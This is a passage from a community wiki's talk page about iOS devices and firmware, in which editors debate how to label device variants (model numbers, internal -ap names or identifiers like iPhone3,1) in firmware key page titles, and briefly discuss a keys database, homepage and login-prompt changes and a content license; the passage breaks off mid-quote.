::::::I agree to get rid of the "GSM" name, as almost all iPhones support GSM. The Axxxx numbers would be nice, but as some phones have several numbers, like A1457/A1518/A1528/A1530 (what is actually different between them?) we can't use it. For the FCC-ID, we can't use that either, because for example the iPhone 5 with FCC-ID BCG-E2599A stands for the GSM/A1428 and also for the GSM+CDMA/A1429 version. So I suggest to either use the identifier (like iPhone2,1) or better the internal name (like n88ap). That would have the advantage to separate them further, because the iPhone 4 A1332 has two internal versions: iPhone3,1/n90ap and the iPhone3,2/n90bap. The bigger question is where you want to use this. That determines mainly the name. On all the key pages? Then it must be a name that is different between models that use different firmwares. And regarding key pages, maybe we should delete all the key pages from this wiki and move them into some database instead and provide a nice user interface and API around it and integrate that into the wiki somehow. That way we can change all pages with one simple edit. For the name, I prefer the internal name. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:43, 18 November 2013 (UTC)

:::::::We would have to edit key pages too. They should not be removed however. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:46, 18 November 2013 (UTC)

:::::::Well, I wasn't trying to say that we had to decide on one way to differentiate ''everything''; "GSM" does work fine for, say, the iPhone 4. The proposal I brought up today was using the FCC ID only for this year's (2013's) iPhones— last year's cellular devices would get the A1XXX model numbers (i.e. two different solutions for two different years). But as of right now, I like how using A1XXX model numbers sounds for all of the affected devices, mostly because that's the path Apple's going in their developer portal. Something like "iPhone 5s (Model A1457/A1518/A1528/A1530)" is admittedly a mouthful for this year's iPhones though. At the moment, I'm inquiring about how to label it on [[Firmware]] and such pages, but I'm sure the outcome can be adapted for key page titles as well. As for differences between the models, it seems to be the supported LTE bands. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:49, 19 November 2013 (UTC)

:::::::::I still think that unless it is "iPhone 5 (iPhone5,1)" it will be complicated but on the other hand, I kind of like the idea that [[User:Http|http]] had, using the internal identifiers like this "iPhone 5 (n42ap)". The only problem is that it would cause quite a bit of a flood moving the key pages, although this can be done like 15 per day each or something. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:20, 19 November 2013 (UTC)

::::::::::I'm pretty sure the only key page that exists for an A5 (or newer) device is [[Telluride 9A406 (iPhone 4S)]]. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)

:::::::::::That was an example. I know there are no more A5 pages, only the one you said and two beta for iPhone 4S. I just meant that it would show the design. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:36, November 21, 2013 (UTC)

== "GSM" Replacement Proposals ==
Since this discussion has become extremely lengthy, here are the proposals (to my understanding) for changing the labels, each of which can be subject to changes (i.e. dropping the word "Model" from Proposal A). In an effort to conserve space (ironically, this still adds a significant amount of length), I only included a few models, which should give an idea of the proposal. Basically anything with an A5 or newer is involved. Feel free to edit this list if I missed or totally misinterpreted something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:25, 22 November 2013 (UTC)
# Proposal A (A1XXX numbers)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (Model A1456/A1532)
#* iPhone 5c (Model A1507/A1516/A1526/A1529)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c Model A1507/A1516/A1526/A1529)]]
# Proposal B (A1XXX + FCC ID)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (BCG‑E2644A)
#* iPhone 5c (BCG‑E2694X)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c BCG‑E2694X)]]
# Proposal C (-AP Identifier)
#* iPad 4 (p101ap)
#* iPad 4 (p102ap)
#* iPad 4 (p103ap)
#* iPhone 5 (n41ap)
#* iPhone 5 (n42ap)
#* iPhone 5c (n48ap)
#* iPhone 5c (n49ap)
#* [[InnsbruckTaos 11B554a (iPad 4 p101ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n42ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n49ap)]]
# Proposal D (iPhoneX,Y Identifier)
#* iPad 4 (iPad3,4)
#* iPad 4 (iPad3,5)
#* iPad 4 (iPad3,6)
#* iPhone 5 (iPhone5,1)
#* iPhone 5 (iPhone5,2)
#* iPhone 5c (iPhone5,3)
#* iPhone 5c (iPhone5,4)
#* [[InnsbruckTaos 11B554a (iPad3,4)]]
#* [[InnsbruckTaos 11B554a (iPhone5,2)]]
#* [[InnsbruckTaos 11B554a (iPhone5,4)]]

:I like this [[InnsbruckTaos 11B554a iPad 4 (3,4)]] or [[InnsbruckTaos 11B554a iPad 4 (iPad3,4)]]. I see there are 4 ways to approach this;
1. Change every single device. 
2. Change just devices with different variants, iPad 2+, iPad mini+, iPhone 4, iPhone 5+. 
3. Change A5+ only (which I hate the idea of). 
4. Change nothing at all. 
--[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:28, 22 November 2013 (UTC)
::My intention for this was to be a ''neutral'' (i.e. opinion-free) spot where all of the proposals were being mentioned, so people could easily see the proposed changes without any bias… v.v --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 20:54, 22 November 2013 (UTC)
:::TBH, I think it is better as it is, but I just stated my opinion that only A5+ would make in inconsistent. Though you could argue it is already, that is down to Apple and furthermore, just A5+ would still not eliminate iPhone 4 (GSM, GSM Rev A or CDMA). --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:07, November 22, 2013‎ (UTC)}}
:Do it like #4, and do them all. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 18:40, 23 November 2013 (UTC)
::::It will be a pain, but I like [[User:CompilingEntropy|CompilingEntropy]]'s idea as it would make it much much better in the end. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:25, 25 November 2013 (UTC)
:I would say A and B are impossible due to various numbers in the same model. I like C best. For variant C you could also leave away the "ap" at the end, because every model has that, so it would be even shorter. For D, that's simply longer names and these names are not used at many places, but I could live with that version as well. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:30, 1 December 2013 (UTC)
Taking into account everyone's thoughts on this, I think we'll probably go with option C. The wiki already uses the "-ap" identifiers for the model pages, and an identifier like "iPad3,4" may confuse someone into thinking it's a model of the [[iPad 3]]. (I would still like to use the A1XXX numbers since Apple does that, but nobody else seems to agree now…) I'll give this a few more days for any last words before acting on it. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:03, 26 December 2013 (UTC)
::It '''will''' get changed before the year ends. I don't know why your opinion keeps changing, but I have already explained the reason for changing it. You even agreed that it needs to be changed. I'm still open to suggestions on what to change it to though. Keep in mind that the change will affect not only key pages, but also how the devices will be referred to throughout the wiki. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:34, 26 December 2013 (UTC)
:::I know it will. I said it is fine to change. I like bot #3 and #4. Only point I must make is that I feel we should change all devices with multiple variants, including iPad Air and iPhone 4. This way, it is consistent and also removes GSM etc altogether. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:48, 26 December 2013 (UTC)
::I agree with Adam, if you're going to change some of them then change all of them. This includes iPods. Whatever the outcome, be consistent. As for the outcome itself, I really think we should just use device identifiers (iPhone2,1). That's what we're actually differentiating by, so it only makes sense to refer to devices by them. I don't think there would be any confusion, especially considering we'll keep the name of the device next to it regardless. Barring that, the next best option is ***ap. The other options don't make any sense considering modern devices. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 10:54, 30 December 2013 (UTC)
:::I like [[User:CompilingEntropy|CompilingEntropy]]'s idea, though I do not mind if we do every device or just ones with multiple variants, as long as that included pre A5 (iPhone 4) too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:34, 30 December 2013 (UTC)

== "GSM" Replacement Proposals (cont.) ==
So this entire discussion came up because we need to remove "GSM" from models, because there are many models nowadays where the non-GSM model or Global or whatever model, all support GSM. One suggestion was the FCC number, but I think we already agreed that this is out of discussion (only used within USA and nobody refers to this number). So we have to use either
*The Axxxx number (like A1332 for the iPhone 4). This is how Apple identifies their devices.
*The ap number (like n94ap or just short N94). This is the internal name and used in internal references, like in the [[iBEC]] or [[iBSS]] filenames within an [[IPSW]]. (This is also what iH8sn0w has on his stickers on the devices.)
*The 1,2 number (like iPad1,1 for the iPad 1G). This identifier is used in the [[IPSW]] filenames.
There are several issues with using one over the other:
*Some devices (iPad 1G, iPhone 3G, iPhone 3GS, iPhone 4S, iPhone 5, iPhone 5c, iPhone 5s to be exact) have multiple Axxxx numbers for the same ap number/1,2 number. For example the iPad 1G: A1219 (WiFi model) and A1337 (GSM model) both have k48ap / iPad1,1. So only the Axxxx number could be used to replace the "GSM" identifier.
*The iPhone 4 has for A1332 two ap numbers/1,2 numbers: A1332 stands for both n90ap/iPhone3,1 and also for n90bap/iPhone3,2.
*The iPod touch 5G has the same 1,2 number for two ap numbers/Axxxx numbers: iPod5,1 stands for both A1421/n78ap and also for A1509/n78aap.
I understand the point from [[User:IAdam1n|iAdam1n]] somehow that we should make it consistent and change it everywhere in the same manner. The question is where to change what. So where do we use these terms?
*The biggest affected change would be the key pages, so any change there should be carefully considered. Currently we use something like: "InnsbruckTaos 11B554a (iPhone 5c Global)". So the discussion here is just about the change in the brackets. For the devices where no different hardware versions exist, I think the current naming is ok. So let's just continue using that. Only where different (sub-)devices exist for the same main model (like for the iPhone 5c) and they require a different firmware file, then we need to specify it. So we need to add something after the "iPhone 5c" to specify the difference. For older devices, we should leave it as it is, because it works very well there. For example the iPad 1G WiFi and GSM require different firmware, but can be differentiated that way. And we can't use the ap number, because both versions use k48ap, respectively iPad1,1. So I think we should leave the old devices as they are. For newer devices, like the iPhone 5c, there are only two variations for the firmware, but six different Axxxx numbers and we don't want to list all of them in the firmware name. We also cannot use "GSM" for the reason mentioned at the introduction. I would prefer to use the ap number there, but that yields to problems. In case of the iPod touch 5G, we have two models (A1421/n78ap and also A1509/n78aap). Fortunately both use the same firmware, so we don't have to specify anything. But if Apple would release an additional model that would require a different firmware, we would have to specify the name even here and we can't add a name like "n78ap+n78aap". The name iPod5,1 there seems to be the obvious choice, as it is contained in the ipsw name already, so it is unlikely that Apple will change that. The only question is the format then. My choice would be to keep it short, something like "InnsbruckTaos 11B554a (iPhone 5c [5,4])" instead of the current "InnsbruckTaos 11B554a (iPhone 5c Global)". We shouldn't repeat the word "iPhone" there. And we shouldn't remove the "5c" of the original name.
*We also have some hardware lists, for example on the key pages titles where we list under iPad 2: Wi-Fi, GSM, CDMA, Wi-Fi (A). They link directly to our ap-pages, for example the "Wi-Fi (A)" name links to "k93aap". I think we don't need to change this. For the iPhone 5c, we have GSM and Global and they also link to the ap-pages. The link remains there, so we would only change the name. I suggest to use the same short name as in the key page extension, so something like my suggested "[5,4]" for example (instead of "GSM").
*On the [[Models]] page, we have the column "Variant", which also lists "GSM" and "Global" etc. That would also need to change. I suggest to leave it for older devices where "GSM" is a valid differentiation. For newer devices we might list the bands it supports or something else.
*On hardware pages, like [[iPhone]], we also have names and links in the title bar. For devices that have different sub-devices (like the iPhone 4 and iPhone 5/5c/5s) I suggest to rename the title names to the ap-names, as they link to the respective page. I would not change the title "iPhone 3G" to "N82ap" although it links there. So this change would only apply to sub-titles.
--[[User:Http|http]] ([[User talk:Http|talk]]) 00:26, 31 December 2013 (UTC)
:Include iPhone 4 in the change and use same format everywhere on the wiki. I agree that we do not need to change devices with only one variant such as iPhone 3GS. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:59, 31 December 2013 (UTC)
:: I agree on that. 3GS, 3G and the 1st iPhone are anyway devices where I do not see too many wiki-related changes in the future.--[[User:M2m|M2m]] ([[User talk:M2m|talk]]) 09:57, 31 December 2013 (UTC)
:I don't like how the abbreviated form of "iPad3,4" looks— I understand wanting to keep "iPad 4" in the name, but I can't come up with alternatives besides going with only the identifier. (Another issue is that MediaWiki's markup parser doesn't seem to like square brackets in links— I tried using <code><nowiki><nowiki /></nowiki></code>.) Having thought it over for a few days, I'm more receptive to changing all multi-variant devices (i.e. including the iPhone 4), but my concern about the Recent changes getting flooded with page moves still exists. The page moves should be done on "quiet" days, when the wiki doesn't see much activity. That being said, this is my understanding of the proposed changes. Does everyone agree with the following?
:* On pages like [[iPhone]], the variant labels will be replaced with the identifier, e.g. iPhone3,1/iPhone3,2/iPhone3,3. (An exception will probably need to be made for the iPad1,1. The "Internal Name" row should also be modified because there will be duplicated information.)
:* On [[Models]], the variant labels will be replaced with something else for the iPhone 5 and newer. (I feel like there are too many LTE bands to list in such a spot, but I don't have any better ideas.)
:* On pages such as [[Firmware]] and [[Jailbreak]], labels will be changed to things like "iPhone 4 (iPhone3,1)" and "iPad 4 (iPad3,4)." Single-variant devices like the Apple TV 2G will remain as-is.
:* The key pages will be moved to a different title, to resemble the following.
:** <del>[[InnsbruckTaos 11B554a (AppleTV3,1)]]</del> [[InnsbruckTaos 11B554a (Apple TV AppleTV3,1)]]
:** <del>[[InnsbruckTaos 11B554a (iPad2,4)]]</del> [[InnsbruckTaos 11B554a (iPad 2 iPad2,4)]]
:** <del>[[InnsbruckTaos 11B554a (iPhone3,1)]]</del> [[InnsbruckTaos 11B554a (iPhone 4 iPhone3,1)]]
:** [[InnsbruckTaos 11B554a (iPod touch 5G)]]
:Do let me know if I missed something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 23:57, 31 December 2013 (UTC)
::I agree with your idea [[User:Dialexio|Dialexio]], but make every page use iPhone 4 (iPhone3,1) etc. Of course if pages use iPhone 4 (GSM) now, change that to iPhone 4 (iPhone3,1) or iPhone 4 (3,1). I would suggest moving 10 pages per day for the iPhone 4 to avoid flooding. I do not want some pages to include the AP identifier and some others iPhone3,1 for example. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:08, 1 January 2014 (UTC)
:::Several comments:
*The square brackets were just an idea, nothing agreed on that yet. And yes, let's forget this idea if it has problems with MediaWiki.
*The beginning of the name should remain, otherwise we're getting inconsistent with other pages. I agree with [[User:IAdam1n|iAdam1n]] on this. To keep it short, my favorite would be something like "iPhone 4 (3,1)" then. But to make it more clear, "iPhone4 (iPhone3,1)" is also ok to me. If you wanted to leave the first part away and just use "iPhone3,1", then we would have to rename ALL pages (that's also an option).
*Regarding flooding, I prefer that we do all changes at once, at an agreed date/time, done by [[User:Dialexio|Dialexio]]. Maybe in two steps: first step to change the few hardware pages plus one page of each device of the key pages. In the second step the rest. This would ensure that any misunderstandings get catched in the first step, before all pages are renamed. I don't like to have 20 edits per day that I have to go through. Better all at once, but only after agreement of all.
*Yes, we can do iPhone 4 too, if that't the only missing one. It was a misunderstanding on my part for iPad GSM/WiFi, as this doesn't have different firmwares (only on hardware pages needed).
*Regarding the proposed listing of the bands on the [[Models]] page, Variant column, we could only list the bands that are different to make it short.

Can we list here what pages would be affected by the changes? Feel free to edit this list here within my comment. Here's what I have in mind:
*[[Models]]
*[[Apple TV]], [[iPad]], [[iPad mini]], [[iPhone]], [[iPod touch]]
*[[Firmware Keys]]
*[[Firmware]], [[Beta Firmware]]
*[[Jailbreak]]
*[[Application Processor]]
*[[Main Page]] - for Application Processors and Baseband Devices.
*[[:Category:Baseband]] - some pages state models and also the baseband devices, such as [[MDM6600]].
*[[Template:Keys]]
*[[P0sixspwn]]
*[[:Timeline]]
*[[SHSH]]
*key pages: iPhone 4 GSM (like [[Telluride 9A334 (iPhone 4 GSM)]]), total 69 existing pages
*key pages: iPhone 4 GSM (A) (like [[InnsbruckVailPrime 11A4372q (iPhone 4 GSM Rev A)]]), total 21 existing pages
*key pages: iPhone 4 CDMA (like [[BrightonMaps 10B329 (iPhone 4 CDMA)]]), total 50 existing pages
*key pages: iPhone 5 GSM (nonexistent)
*key pages: iPhone 5 Global (nonexistent)
*key pages: iPhone 5c and 5s (nonexistent)
*key pages: iPad 2 Wi-Fi (like [[Durango 8G4 (iPad 2 Wi-Fi)]]), total 5 existing pages
*key pages: iPad 2 GSM (like [[Durango 8G4 (iPad 2 GSM)]]), total 5 existing pages
*key pages: iPad 2 CDMA (like [[Durango 8G4 (iPad 2 CDMA)]]), total 5 existing pages
*key pages: iPad 2 Wi-Fi Rev A (nonexistent)
*key pages: iPad 3 Wi-Fi (nonexistent)
*key pages: iPad 3 CDMA (nonexistent)
*key pages: iPad 3 Global (nonexistent)
*key pages: iPad 4 Wi-Fi (nonexistent)
*key pages: iPad 4 GSM (nonexistent)
*key pages: iPad 4 Global (nonexistent)
*key pages: iPad Air Wi-Fi (nonexistent)
*key pages: iPad Air Cellular (nonexistent)
*key pages: iPad mini Wi-Fi (nonexistent)
*key pages: iPad mini GSM (nonexistent)
*key pages: iPad mini Global (nonexistent)
*key pages: iPad mini 2G Wi-Fi (nonexistent)
*key pages: iPad mini 2G Cellular (nonexistent)
The key pages would get moved without redirect and all references updated. The references should also be in this list above. Add it to the list if I forgot anything.
--[[User:Http|http]] ([[User talk:Http|talk]]) 15:07, 1 January 2014 (UTC)
::::Yes that is fine. I said the 10 a day to avoid a big flood, but I do not mind either way. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 15:13, January 1, 2014‎ (UTC)
::::Looks good. I amended the list to include the iPads as well. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:51, 1 January 2014 (UTC)
:::::So most of you seem to agree on the the generic change now. But what is missing is the exact naming. We have three variations still in discussion:
:::::#"iPhone 4 (3,1)"
:::::#"iPhone 4 (iPhone3,1)"
:::::#"iPhone 4 3,1"
:::::#"iPhone 4 iPhone3,1"
:::::I just noticed that we cannot use the round brackets, because this entire part is already enclosed in round brackets - otherwise we would have nested brackets and in grammar I think you have to use square brackets which are not allowed in MediaWiki. So this leaves us with #3 and #4. #3 looks silly without the brackets, so we probably have to use #4 as [[User:Dialexio|Dialexio]] suggested. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:55, 1 January 2014 (UTC)
::::::I agree with #4, looks better as I feel that #3 needs some sort of brackets if we used that. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]])
::::::Wow, time really flies when you sleep all day. I've missed a ''lot''. Ok. I'm happy we decided to use the firmware moniker instead of something else. Personally, I don't like #1 because it just looks weird IMO. In addition, #1 and #2 would require the use of brackets (<code>(iPhone 4 [3,1])</code>) which would require the use of <code><nowiki/></code> all over the place, and that will get not only ugly, but annoying. I agree #3 looks weird. However, #4 just looks redundent. I personally would like just <code>iPhone3,1</code>, but if I would have to put my vote on one of those last two, it would be #4. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 08:20, 2 January 2014 (UTC)
:::::::One last comment: We could also just use "iPhone3,1" (leaving the leading "iPhone 4" completely away). That would have two advantages and two disadvantages:
:::::::*+ shorter
:::::::*+ future-proof; if we ever decide to rename the rest as well, this is the way to name it
:::::::*- somehow inconsistent with non-ambiguous other key pages (although ambiguous and non-ambiguous pages are different now anyway)
:::::::*- less easy to understand from the name what device it is (but the iOS version is also not directly visible)
:::::::--[[User:Http|http]] ([[User talk:Http|talk]]) 11:10, 2 January 2014 (UTC)
::::::::To me, that makes it worse. Why can we not use the rounded "()" brackets? I mean, it will only be duplicated in the key page urls, in which if it must be, just do "iPhone 4 iPhone3,1". Does not seem too bad to me. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:18, 2 January 2014 (UTC)
::::::::::We ''don't want to'' use parenthesis because then we get double parenthesis (<code>Telluride 9A334 (iPhone 4 (3,1))</code>). We would have to use braces (<code>Telluride 9A334 (iPhone 4 [3,1])</code>), but MediaWiki chokes when there's braces in a link unless you use <code><nowiki/></code>; and that would mean ''everywhere'' there's a firmware link. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 13:19, 2 January 2014 (UTC)
::::::::That ''is'' what I suggested in my reply... As for your first disadvantage, it only applies to the iPads where Apple has gotten confusing. Actually, now that I think of that, option #4 above does look nice. However, I still don't like the redundency of having <code>iPhone</code> in there twice. And as I said before, options #1 and #3 just look weird. So we're stuck at either redundency or looking weird. But then again, it wouldn't be redundent for the non-existent iPad key page links where Apple decided to be annoying with their firmware monikers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 13:19, 2 January 2014 (UTC)
:::::::::Could we not just use the parenthesis but just not in the key page URL's? I mean, "iPhone 4 (iPhone3,1)" but in the urls for key pages, <code>Telluride 9A334 (iPhone_4_iPhone3,1)</code>? That seems fine here. The underscores are currently there anyway. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:32, 2 January 2014 (UTC)
::::::::::This seems fine to me… Well, aside from the underscores. Other than that, we're actually already doing the same thing until the changes are implemented. (Key pages say "(iPhone 4 GSM)" while other parts of the wiki say "iPhone 4 (GSM model).") --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:05, 2 January 2014 (UTC)
::::::::I think that "iPhone 4 (iPhone3,1)" does look the nicest, and I don't really feel like it's redundant. I also like the idea of just saying 'iPhone3,1'. If either of those options doesn't work, it might be good to do something like "iPhone 4; iPhone3,1" or "iPhone 4 | iPhone3,1".--[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 16:46, 2 January 2014 (UTC)
:::::::::The underscores were stated due to the key page URL's use that. I did not mean use that throughout. Was just to give an example, [[User:Dialexio|Dialexio]]. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:16, January 2, 2014‎ (UTC)
::::::::::So we have to decide between
::::::::::#"Telluride 9A334 (iPhone 4 iPhone3,1)" (name on link could be "Telluride 9A334 (iPhone 4 [iPhone3,1])" or whatever fits best in the context)
::::::::::#"Telluride 9A334 (iPhone3,1)"
::::::::::I would prefer #2 (for advantages/disadvantages see list above), but could also live with the other one. Votes? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:06, 2 January 2014 (UTC)
:::::::::::I would prefer #1 because it would be more consistent. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:14, 2 January 2014 (UTC)
:::::::::::Count my vote for #2. I could go either way, but option #2 looks nicer. But just to double-check (yet again), we ''are'' using "iPhone 4 (iPhone3,1)" in places like [[Firmware]]'s headings, right? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:19, 7 January 2014 (UTC)
::::::::::::Headings/titles/links: we didn't decide on that, but I think we can put whatever fits best in the context of a page. So that's a 'yes'. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:53, 9 January 2014 (UTC)

== Key page template ==
I actually like the idea of a database to an extent. I bet I could put together an extension that creates a [[Special:SpecialPages|special page]] that allows read access to everyone (and r/w access to users). Any edits to the key "pages" wouldn't cause a [[Special:RecentChanges|recent changes]] log. If we ever needed to update the layout, we would just need to update the extension. We could even have an API.
The only limitation is that updates to the extension would require either [[User:geohot|George]] or [[User:Dialexio|Alex]] needing to upload the fix. If we were to set up an external site, then all links to it would need to be wrapped with <code>...</code>.
Maybe a simple extension that takes links and redirects you to the external site? That could work. Like, we would have a link to, say, <code>[[<nowiki/>Special:Keys/iPad1,1/9A405]]</code> which would give an HTTP <code>301 Moved Permanently</code> header to, say, <code><nowiki>http://ioskeys.com/iPad1,1/9A405</nowiki></code>. Granted, someone would have to pay for the domain, but it would solve this problem. I may be able to pay for the domain if I make enough money by the time I finish writing everything. Any opposition? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 16:48, 21 November 2013 (UTC)
:I do not like the idea. I like the idea of the database to a degree, but I think that the pages should remain on this wiki. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:03, 21 November 2013 (UTC)
::I don't see this solving any problem— the backlash against changing the key page template was because of (unnecessary?) changes to the arguments, and the frequency of how often such changes were being proposed/applied. How would a database prevent it? For instance, let's say the database columns are all decided on. Suddenly, it's decided that SHA-1 hashes should be added as well, or perhaps "VFDecryptKey" will be renamed to "FSKey." People submitting keys would still be bothered with having to adjust for those changes. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)
:::That with the database is something I'll implement anyway (if not someone else is faster, as I'm quite busy). I just threw that in here as it might solve the problem of the frequent template updates (which is/was wrong anyway). From there it would be easy to create the VFDecrypt page with an overview link or lists of missing keys and that stuff, so the wiki would not need any direct links. But it would mean that we either completely remove all keys here from the wiki and embrace that solution or have them still duplicate (which then doesn't solve the problem). Dialexio: renaming columns can be handled without interface changes, but that's another topic. So let's forget about this database thing for now and we can discuss again when I have something. We certainly don't want to add extensions for that. So back to the discussion about the renaming: If I understood this correctly, you only want to rename A5+ devices and therefore no key pages would be affected. Is my understanding correct? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:08, 21 November 2013 (UTC)
::::As long as the pages stay on this wiki, I do not mind. Although, a database could be pointless as with only 50 more pages to edit for the new format, there is no planned new format/changes again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:16, 21 November 2013 (UTC)
::::About the renaming, that is correct; I'm only interested in changing the cellular labels on A5/+ devices. (Well, the iPad 2 can remain as-is.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:02, 22 November 2013 (UTC)
:::::Oh, well that would just make things more complicated/inconsistent. We should do all or none. About the template idea, there is also no need as it is not likely we will change the format again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:35, 22 November 2013 (UTC)
::::::Do we really need to CHANGE THE FORMAT 50 TIMES IN A ROW? The old one before everything was messed with worked fine enough. [[User:Winocm|Winocm]] ([[User talk:Winocm|talk]]) 18:22, 27 November 2013 (UTC)
:::::::It was actually one change, which was completed. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 27 November 2013 (UTC)

==Login prompt revision suggestion==
I wrote a suggestion here: [[MediaWiki talk:Loginprompt]] (since I don't have permission to edit [[MediaWiki:Loginprompt]] directly) - I'd be interested in whether it sounds like a good idea to other people. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 01:00, 8 October 2013 (UTC)

==Homepage suggestions==
Under "Application Development", what about linking to [http://iphonedevwiki.net/index.php/Main_Page iPhoneDevWiki]? It's also a community-edited technical resource, and it links to this wiki. It could be helpful to add a little more detail to "Get [[up to speed]] in the community.", like this: "Get [[up to speed]] in the community - learn about how jailbreaks work." Under "Definitions", it could be helpful to list all the firmware tags in one line or sub-list, similar to how Jailbreak is organized next to Tethered jailbreak and Untethered jailbreak, both to save space and help readers understand the list. --[[User:Britta|Britta]] ([[User talk:Britta|talk]]) 23:01, 20 October 2013 (UTC)
:A link to the iPhoneDevWiki sounds good. I wonder if we should have an "External Links" or "Other Resources" section to include links to other sites (such as the [http://blog.iphone-dev.org/ iPhone Dev Team blog]) though. As for the "Up to Speed" page, I feel like the entire page could be reworked a bit— and perhaps even receive a new, clearer name ([[Introduction]]? [[Preface]]? Or something else?)— the current name makes it sound like it's for people that last paid attention to jailbreaking when the App Store didn't exist. And yeah, moving the IMG3 tags to a sub-list sounds like a really good idea. (Admittedly, I actually don't care for its inclusion in the first place, but that's just a personal preference.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:10, 21 October 2013 (UTC)
::There's already [[Useful Links]] with some links to other core community resources (which could be updated and rearranged) - I was just thinking that it'd be especially useful to link to iPhoneDevWiki prominently since it's likely for TheiPhoneWiki visitors to also be interested in relatively-organized technical information about development. Changing the name of "Up to Speed" sounds fine to me too - that page didn't get much attention since 2008 until I sort of commandeered it to serve as an "intro to jailbreaking" page. :) It could be renamed "getting started", as in "how to get started on learning about research into iOS devices, especially security research (such as jailbreaks)". [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:31, 21 October 2013 (UTC)
Also I'd love to see a dedicated section for "Good tasks for new editors", where we could maintain a list of relatively easy/straightforward suggested edits that wouldn't require vast technical knowledge, like updating that links page. Where would that go? Add it as a sub-section of [[The iPhone Wiki:Current events]] and link that section from the homepage or something? Or make a new page? [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:40, 21 October 2013 (UTC)

==What is 0x5265c384 in the boot process?==
Does anybody know where <code>0x5265c384</code> points to in the boot process? I haven't been able to find anything on it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 20:14, 23 October 2013 (UTC)

==License for contributions==
This wiki has never had an official license for contributions. Now, IANAL, but IIRC, this means that you can't use ''anything'' posted here unless it qualifies as fair-use. What I propose is that we set a license and add a notice that states that any contributions after a set date are to be licensed under that license (that's kindof a mouthful). I think we should use the [http://creativecommons.org/licenses/by-sa/3.0/ CC-by-SA 3.0] as [[wikipedia:Wikipedia:Text of Creative Commons Attribution-ShareAlike 3.0 Unported License|Wikipedia uses it]], but that's just me. Any ideas? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 19:53, 9 November 2013 (UTC)
:Well, the edit info already says all this:
Please note that all contributions to The iPhone Wiki may be edited, altered, or
removed by other contributors. If you do not want your writing to be edited mercilessly,
then do not submit it here.
You are also promising us that you wrote this yourself, or copied it from a public
